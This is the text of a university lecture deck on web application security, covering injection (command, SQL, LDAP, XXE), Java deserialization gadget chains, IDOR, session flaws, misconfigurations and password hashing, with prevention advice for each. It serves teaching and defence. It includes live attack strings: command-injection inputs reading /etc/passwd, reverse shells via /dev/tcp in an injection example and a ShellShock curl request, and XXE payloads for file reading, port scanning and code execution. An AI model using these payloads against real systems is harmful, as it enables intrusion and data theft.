Review

- **SQL injection**
  - Bad input checking leads to command injection on the server

- **XSS (CSS) – cross-site scripting**
  - Echoing untrusted input leads to command injection on the client

- **XSRF (CSRF) – cross-site request forgery**
  - Forged request leveraging ongoing session

- **Clickjacking**
  - Transparent UI elements hide real target of input events.
This lecture in 30 seconds

1. Don’t trust clients, they lie.
2. Don’t trust servers, they lie.
3. Even if no one is lying, vulnerabilities, oversights, and misconfigurations happen.

None of this is specific to web security, or even the client-server model, but misplaced trust continues to be a major recurring theme in application security.

Now, let’s take a look at some of the most common examples.
Agenda

▪ More Injection and Input Validation Issues!
  – Command Injection, Moar SQLi, LDAP Injection, XXE, Deserialization

▪ Insecure Direct Object Reference (IDOR)
  – Parameter tampering, Cookie Manipulation

▪ Session Management Flaws
  – Insufficient State Management

▪ Business Logic Flaws
  – Process gaps

▪ Security Misconfigurations
  – Exposed sensitive files, File uploads, Password Storage, Cloud/PaaS
Injection – You got your data in my code

- Let’s start slow
  - Request: `http://vulnsite/ping?host=8.8.8.8`
  - Executes: `ping -c 2 8.8.8.8`

- Simple command injection
  - Request: `http://vulnsite/ping?host=8.8.8.8;cat /etc/passwd`
  - Executes: `ping -c 2 8.8.8.8;cat /etc/passwd`
  - Outputs ping output and the contents of “/etc/passwd”

- You can blacklist certain input characters (like “;”), but...
  - ping -c 2 8.8.8.8|cat /etc/passwd
  - ping -c 2 8.8.8.8&cat$IFS$9/etc/passwd
  - ping -c 2 $(cat /etc/passwd)
  - ping -c 2 <(bash -i >& /dev/tcp/10.0.0.1/443 0>&1)
Injection – Command Injection Prevention

▪ Reasonably effective blacklists (from OWASP)
  - Windows: ()<>\&*'|=?;[]^~!."%@\\":+,`  
  - Linux: {}()<>\&*'|=?;[]$-#~!."%/\\:+,`

▪ Those are pretty good, but you’d be better off not blacklisting

▪ Instead, consider whitelisting only what you actually need to allow
  - For instance, for ping, you probably only need numbers, periods, and colons
  - Encode all the things
Injection – Command Injection Prevention

- More generally, consider why you’re shelling out at all. There may be a cleaner way to do this, and these problems can be subtle...

- If you do need to leverage an external program, consider “exec’ing” instead of “shell’ing” out:
  - Specifics vary by programming language, but generally prefer “exec()” style calls over “system()” or backticks
  - Exec calls avoid all of the attack surface of shells and enforce the delineation between the program you are calling and what are meant to be arguments

- ShellShock (CVE-2014-6271)
  - curl -H "User-Agent: () { ; }; bash -i >& /dev/tcp/10.0.0.1/443 0>&1" https://vulnsite/
Injection – A bit more on SQLi

- Just a bit more on SQLi, because this continues to be a major issue
- Standard SQLi
  - Union-based
    - Leverages the “UNION” operation to join and return the data from other tables into table your injection operates on natively.
  - Error-based
    - The server encountered an internal error () that prevented it from fulfilling this request. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '')' and LR_pwd='Bw/3uA==' at line 1
Injection – A bit more on SQLi

- Blind SQLi
  - Result-based
    - No direct output of data, but DB/Application behavior implies SQLi outcomes, e.g.
    - ... WHERE userName="alice" AND userRole="admin";-- <- App allows login
    - ... WHERE userName="bob" AND userRole="admin";-- <- App doesn’t allow login
    - We can infer from this that alice is an admin, but bob is not.
  - Timing/Side-effects
    - No output or obvious inference points, so instead let’s sleep and measure response
  - OOB channels
    - Some DBMS systems/roles can do interesting things like DNS lookups...
  - Efficient guesses via < and >
    - ... WHERE userName="alice" AND userPIN=0000;-- <- False
    - ... WHERE userName="alice" AND userPIN=0001;-- <- False, and I’m already sick of this
    - If we do have to guess at values, we can at least be efficient about it, use < and >
Injection – A bit more on SQLi

- Robust tooling exists
  - Burp, sqlmap, etc.

- Code execution is possible via SQLi
  - xp_cmdshell and system() calls
  - Dump out a webshell into webspace
  - Load a malicious library (mysql udf.so)

- More on defenses against SQLi
  - Just to repeat, use parameterized queries/prepared statements, seriously...
  - Whitelisting/Encoding
  - Do not show errors to clients, but do log those errors and create alerts for suspicious activity
  - Encryption for sensitive data (consider an HSM for highly sensitive data)
  - Least Privilege for DB user
Injection – LDAP

- LDAP - Lightweight Directory Access Protocol
  - Used to access, search, and modify directory stores
  - Think looking up a phone number for someone or a MAC address for a computer
  - Also used as a central identity and authentication store

- Authentication checks are correctly done via “BIND”s to the LDAP server

- Looking up something in the directory with LDAP is a search with a filter

- LDAP filters are written using Polish (prefix) notation
  - (&(objectClass=person)(!(givenName=John)(mail=john*)))
  - Find an entry of “objectClass” person AND a givenName of John OR a mail address starting with john*
Injection – LDAP

- LDAP injection is similar to SQL injection, but affects LDAP queries
  - Request: http://vulnsite/ldapsearch?user=John
  - Backend: filter="(cn=" + user + ")"
  - Executes: filter="(cn=John)"

- In LDAP, * means match everything
  - Request: http://vulnsite/ldapsearch?user=*  
  - Executes: filter="(cn=*)" <- returns all results

- Creative injection can lead to tautologies and oracles similar to SQLI
  - (&(uid=alice)(userPass=M4dH@Tor))
  - Consider a uid injection as follows: uid=alice(uid=*)(|uid=*
  - Always true: (&(uid=alice)(uid=*)(|uid=*)(userPass=M4dH@Tor))

- Preventions similar to SQLi, but without prepared statement interfaces
Injection – XXE (XML eXternal Entity)

- Before we get to XXE, first a little historical XML entity fun.
- XML entities are essentially macros defined in an XML document’s DTD (Document Type Declaration).
- `<!ENTITY writer "Donald Duck.">`
- `<!ENTITY copyright "Copyright W3Schools.">`
  `<author>&writer;&copyright;</author>`
- Entities can also reference other entities
- `<!ENTITY wat "WAT!">`
- `<!ENTITY saywat "Say &wat;">`
- If you liked zip bombs, you’ll love a “Billion Laughs”
Injection – A Billon Laughs

```xml
<?xml version="1.0"?>
<!DOCTYPE lolz [ ]
<!ENTITY lol1 "lol">
<!ENTITY lol2 (#PCDATA)>
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol3 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]
<lolz>&lol9;</lolz>
```
Injection – XXE (XML eXternal Entity)

- Exploits the flexibility of XML parsers and their willingness to fetch remote (external) resources
- XXE also offers a variety of exploitation options making it a rich attack surface
- **Denial of Service (DoS)**
  ```xml
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]]><foo>&xxe;</foo>
  ```
- **Local File Inclusion (LFI)**
  ```xml
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]]><foo>&xxe;</foo>
  ```
Injection – XXE (XML eXternal Entity)

- **Server Side Request Forgery (SSRF)**
  ```xml
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  ]><foo>&xxe;</foo>
  ```

- **Port Scanner**
  ```xml
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "http://10.0.0.2:22/" >]><foo>&xxe;</foo>
  ```

- **(Sometimes) Remote Code Execution (RCE)**
  ```xml
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "expect://id" >]><foo>&xxe;</foo>
  ```
Injection – XXE (XML eXternal Entity)

- The possibilities go on (HTTP/SMB NTLM leakage, cross-protocol SSRF, etc.)

- Potential targets
  - Any XML documents/interfaces, but here are some more common ones
  - Modern MS Office files (Office Open XML)
  - SVG / Image metadata (XMP)
  - SOAP
  - Config files
  - SAML / OpenID (can be induced to load a remote “XRDS” XML file)

- Prevention
  - Disable parser support for DTDs, also protects from Billion Laughs
  - Each language has their own varyingly safe XML libraries
Injection – Insecure Deserialization

- **Serialization:**
  - Snapshots in-memory objects into a serial stream of data that can be stored/transmitted and later reconstituted by another (or the same) process
  - Used in data exchange protocols, stored database/cache records, client tokens
  - Various binary and text formats: Java Serialization, Ruby Marshal, PHP Serialization, Python pickle, XML, JSON, YAML, etc.

- **Deserialization attacks have been all the rage the last few years**
  - See or tamper with “obscured” data to alter program flow
  - Abuse object construction to achieve remote code execution
    - String together “gadget” classes into a chain to result in arbitrary method invocation
Injection – Insecure Deserialization

pickle.dumpO* of Python Object

ObjectOutputStream.writeObjectO of Java Object

Marshal.dumpO of Ruby Object

* pickle protocol 0
A Contrived Simple Java Gadget Chain

ObjectInputStream.readObject()

package library.y;

public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
}

//...

package library.x;

public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
Time-Lapse of Deserialization

ObjectInputStream.readObject() called

package library.x;
public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}

package library.y;
public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
Time-Lapse of Deserialization

CacheManager instance allocated

```
package library.x;

public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

```
package library.y;

public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
}
```
Time-Lapse of Deserialization

CacheManager.readObject() called

```
package library.x;

public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

```
package library.y;

public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
}
```
Time-Lapse of Deserialization

ObjectInputStream.defaultReadObject() called

package library.x;
public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}

package library.y;
public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
}
Time-Lapse of Deserialization

CommandTask instance allocated and referenced by CacheManager.initHook field

```
package library.x;
public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

```
package library.y;
public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
}
```
Time-Lapse of Deserialization

CommandTask.run() called

```java
package library.x;
public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

```java
package library.y;
public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
}
```
Time-Lapse of Deserialization

- ObjectInputStream
  - readObject()
  - defaultReadObject()
- CacheManager
  - initHook
  - readObject()
- CommandTask
  - run()
  - "calc.exe"
- Runtime
  - exec()

```
package library.x;
public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

```
package library.y;
public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
}
```
Time-Lapse of Deserialization

Target program run

```
package Library.x;

public class CommandTask implements Runnable, Serializable {
    private final String command;
    public CommandTask(String command) {
        this.command = command;
    }
    @Override
    public void run() {
        Runtime.getRuntime().exec(command);
    }
}
```

```
package Library.y;

public class CacheManager implements Serializable {
    private final Runnable initHook;
    public void readObject(ObjectInputStream ois) {
        ois.defaultReadObject(); // populate initHook
        initHook.run();
    }
    //...
}
```
The "CommonsCollections1" gadget chain

```
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
   AnnotationInvocationHandler.invoke()
LazyMap.get()
   ChainedTransformer.transform()
   ConstantTransformer.transform()
   InvokerTransformer.transform()
   Method.invoke()
      Class.getMethod()
      InvokerTransformer.transform()
      Method.invoke()
      Runtime.getRuntime()
      InvokerTransformer.transform()
      Method.invoke()
      Runtime.exec()
```
Injection – Insecure Deserialization

- Prevention
  - Don’t use open-ended/polymorphic serialization frameworks
  - Authenticate serialized content or channels
    - Validate MACs or Authenticated Encryption *before* trying to deserialize
  - Whitelist classes that can be deserialized
  - Harden/Sandbox deserializing code
  - DO NOT rely on gadget class whack-a-mole
IDOR – Insecure Direct Object Reference

- https://citi.com/myacct/9725126314/summary

- Do you see anything concerning with this URL?
  - I would love to tell you that one of the largest banks in the world didn’t lose the details for 360k credit cards with a vulnerability like this.
  - I would really love to tell you that.

- Parameter Tampering
  - This is one of the most conceptually simple issues, but is still very prevalent
  - To see this in action, let’s do a live Burp Proxy demo
Congratulations, you’ve won your choice of either:
- *BBQ Set* ([http://vulnsite/rewards?id=7183](http://vulnsite/rewards?id=7183))
  - or a
- *Travel Pillow* ([http://vulnsite/rewards?id=12019](http://vulnsite/rewards?id=12019))

Not that those aren’t great, but I’d like something more practical that I could everyday:
- *Adult Jurassic World Inflatable T-Rex Costume* ([http://vulnsite/rewards?id=252](http://vulnsite/rewards?id=252))
  - Perfect!

Let’s try another one
IDOR – Insecure Direct Object Reference

GET /accounts/summary?history=30
Host: vulnsite.com
Cookie: authtoken=FMGHJ0uEVKz7XyM6va0SIQ; role=dXNlcg%3D%3D

- Any thoughts on this one?
- The history parameter could be interesting from a SQLi perspective, but that’s not the real issue here.
  - From the cookie: role=dXNlcg%3D%3D
  - Let’s decode that value and see what it says
  - URL decoded: role=dXNlcg==
  - Base64 decoded: role=user

- role=user... Wonder what happens if we change that to role=admin?
Session Management Flaws

- Quick reminder
  - HTTP is inherently stateless
  - Cookies are used to *simulate* state
    - Cookie: JSESSIONID=yXBemjqTyF55AgrhGMk2sG1VYL8H2n7J5kV290Tfy3wn!1531512444
    - It is just a simulation though... At any time either party can decide to abandon it

https://xkcd.com/869/
Session Management Flaws

▪ Approaches to State Management
  – Server managed
    ▪ Server stores state information in a local DB/Cache
    ▪ Creates a random token for the client cookie to serve as a reference key
    ▪ Works well, but creates a lot of state-management and operational overhead
  – Client managed
    ▪ Server stuffs all client state into a cookie and has the client manage it
    ▪ Developers love this
      – No server-side DBs, plays well with load balancers, etc.
    ▪ But the client now controls state...
    ▪ Serve can attempt to mitigate with encryption/MACs, but still dangerous
      – For example, let’s try another demo: http://cse127.ctf.land:8442/
Business Logic Flaws

- Business Logic Flaws can be very serious, and are frequently harder to detect
  - These issues can be thought of as broken process logic, which are only dangerous/wrong in the business context, which automated tools don’t have.

- Let’s say you have an online store
  - $Total = $Price x $Quantity

- But what if I order a negative number of books?
  - Do I get rejected, or do you send me the $Total and presumably wait for me to ship you books?

- What if I order .1 TVs?
  - I pay 10% what I should have paid, but will the shipping department notice the decimal or just send me 100% of a TV?
Business Logic Flaws

- Consider a press release site that releases earnings announcements for publicly traded companies

- These earnings announcements are embargoed until the scheduled time when they become available to everyone

- Earnings are staged on the site ahead of time, but are not publicly linked until release:

- Maybe no one will notice?
Security Misconfiguration – File Disclosure

- Exposed sensitive files
  - Forgotten vulnerable CGI files
  - “Private” applications not meant for public consumption
  - Backups of the site or DB
  - Publicly available “.git/config” directory/file
    - Entire repo can be reconstituted with these files
  - Various tools exist just to bruteforce webspace to find these files and apps

- How to fix?
  - Remove unneeded files/apps
  - Proper AuthN and AuthZ for all that remain
  - Disable directory listing!
Security Misconfiguration – File Uploads

- Be careful if your application
  - Fetches files on behalf of clients
  - Allows clients to submit or upload any files

- This includes pictures/images/avatars, resumes, crash logs, etc.

- If user-supplied files end up in webspace, an attacker may be able to get a malicious web app running on your server
  - The most common of these types of applications are called “webshells”

- These backdoor applications allow for full access to the system as the user they are running under
  - Usually the web server user
Security Misconfiguration – File Uploads

- Better than cpanel
Security Misconfiguration – File Uploads

- Best practices if you need file uploads
  - Give these files random names that can’t be guessed
  - Keep them out of webspace so they cannot be accessed directly
    - If these are image/media files, consider pushing them to CDN providers/domains to host for you
  - Consider scanning uploads with AV
    - This can be a risk in and of itself however as there are attacks against AV software itself to worry about

- Also watch out for archival/compression formats
  - Zip Bombs
  - Embedded absolute-relative paths in some archive formats
  - Be careful what you open...
Security Misconfiguration – Passwords

- Never store plaintext passwords, store password hashes!

- So, why are password hashes the dominate way to store passwords, anyway?
  - Helps keep insiders/attackers from knowing everyone’s password (e.g. /etc/passwd)
  - Easy to implement (but also easy to do wrong)
  - Cheap
  - Usually very fast
  - The defacto standard – “Security told us to!”
  - Data normalization (e.g. can handle any length or type of input password and ends up as a fixed-length value)

- Not all hashing algorithms are created equal, we need to pick a good one for password hashing
A *hash* is the output of a *hash function*
- A hash function maps data of an arbitrary size to data of a fixed size
- For our purposes today, assume all hash functions are *cryptographic*

The ideal cryptographic hash function has five main properties
1. It is deterministic so the same input always results in the same hash
2. It is infeasible to generate an input from its hash value except by trying all possible inputs (a “one-way” function)
3. A small change to the input should change the hash value so extensively that the new hash value appears uncorrelated with the old hash value
4. It is infeasible to find two different inputs with the same hash value
5. It is quick to compute the hash value for any given input
   - This last bullet is good for security in general, bad for password storage...
Security Misconfiguration – Passwords

• If hashing is a “one-way function”, then how is it possible to crack them?
  • We can’t go back, so we must go forward

• Simply put, we try all the possible candidates until we find a match

• Crack the md5: 5f4dcc3b5aa765d61d8327deb882cf99
  • md5(“123456”): e10adc3949ba59abbe56e057f20f883e
  • e10adc3949ba59abbe56e057f20f883e != 5f4dcc3b5aa765d61d8327deb882cf99, next
  • md5(“letmein”): od107d09f5bbe40cade3de5c71e9e9b7
  • od107d09f5bbe40cade3de5c71e9e9b7 != 5f4dcc3b5aa765d61d8327deb882cf99, next
  • md5(“guest”): 084e0343a0486ff05530df6c705c8bb4
  • 084e0343a0486ff05530df6c705c8bb4 != 5f4dcc3b5aa765d61d8327deb882cf99, next
  • md5(“password”): 5f4dcc3b5aa765d61d8327deb882cf99
  • 5f4dcc3b5aa765d61d8327deb882cf99 == 5f4dcc3b5aa765d61d8327deb882cf99, match!

• Congrats, you just cracked a hash
Rainbow Tables

- Hey, lots of people have already hashed these words, why should I hash them again?
- What if we store those hashes and just look them up next time?
- This is known as a Time-Memory Trade-Off (TMTO), and it is the core concept behind Rainbow tables, which precompute hashes for fast lookups into huge tables
  - The above is an oversimplification in that only a subset of hashes are stored
- Rainbow tables became popular in the mid 2000s, but have been fading for two main reasons
  - GPUs – the speed increases from GPUs have been making the gains from RTs significantly less meaningful
  - Salts – Random salts make RTs infeasible, eliminating their use against modern “high cost” hashes
Security Misconfiguration – Passwords

- So what is a salt?
  - A salt is a random value combined with the user’s password and usually stored along with the hash
    - sha512crypt("xf4\xcd\x0e\x63\x9e\xdd\x6e\x5e","password1")
  - Salts are not typically secret, but they are unique, rendering precomputation of hashes infeasible
    - Just like that Rainbow Tables become useless
  - Salts also slow down mass password cracking as candidates can’t be computed once and then compared against the entire corpus of hashes, they can only be compared with hashes using the same salt
Security Misconfiguration – Passwords

- Standard recommendations
  - Modern unix “crypt” implementations and PBKDF2-HMAC-SHA512 (100k+ iterations)
    - Only addresses the “hashes are too fast” part of the problem
  - Hardware Security Modules (HSMs)
    - A hardened purpose-built piece of hardware to store keys and perform crypto operations
    - Can be expensive and can have significant management/operational overhead

- Good alternatives
  - bcrypt – based on blowfish, provides user-tunable key stretching cost.
    - Not natively available everywhere
  - scrypt – user-tunable stretching and memory costs.
    - Even less widely natively available
  - Argon2 – highly tunable, winner of the Password Hashing Competition
    - Available with NaCL (Salt) / Libsodium
Security Misconfiguration – Cloud/PaaS

- ‘The Cloud’ offers some truly impressive new capabilities
  - But also presents new opportunities for mistakes or oversights
  - Here are few common ones

- Publicly accessible services that shouldn’t be
  - Particularly common with blob/data storage services
    - See also AWS S3 “Authenticated Users” permission

- Over-privileged IAM roles
  - Individual compromised services end up compromising whole accounts

- Commingled systems/applications
  - Unrelated services should be segmented to limit “blast radius”
Review

- **Injection – Data mistaken for code**
  - Leverage input validation/whitelisting and safe APIs/Interfaces

- **IDOR – Client tampering**
  - Ensure comprehensive authorization, consider the parameters you are offering

- **Session Management Flaws**
  - Favor server-side state when possible, leverage frameworks for session mgmt.

- **Business Logic Flaws – Process gaps and oversights**
  - Adversarial testing, Bug bounties

- **Security Misconfigurations**
  - Use hardening guides, remove unnecessary attack surfaces
Additional References

- **Open Web Application Security Project (OWASP)**

- **Mozilla Developers Network**

- **Tangled Web, A Guide to Securing Modern Web Applications**
  - by Michal Zalewski
  - [https://nostarch.com/tangledweb](https://nostarch.com/tangledweb)
Next Lecture...

5/24 Cryptocurrencies (Alex Dent)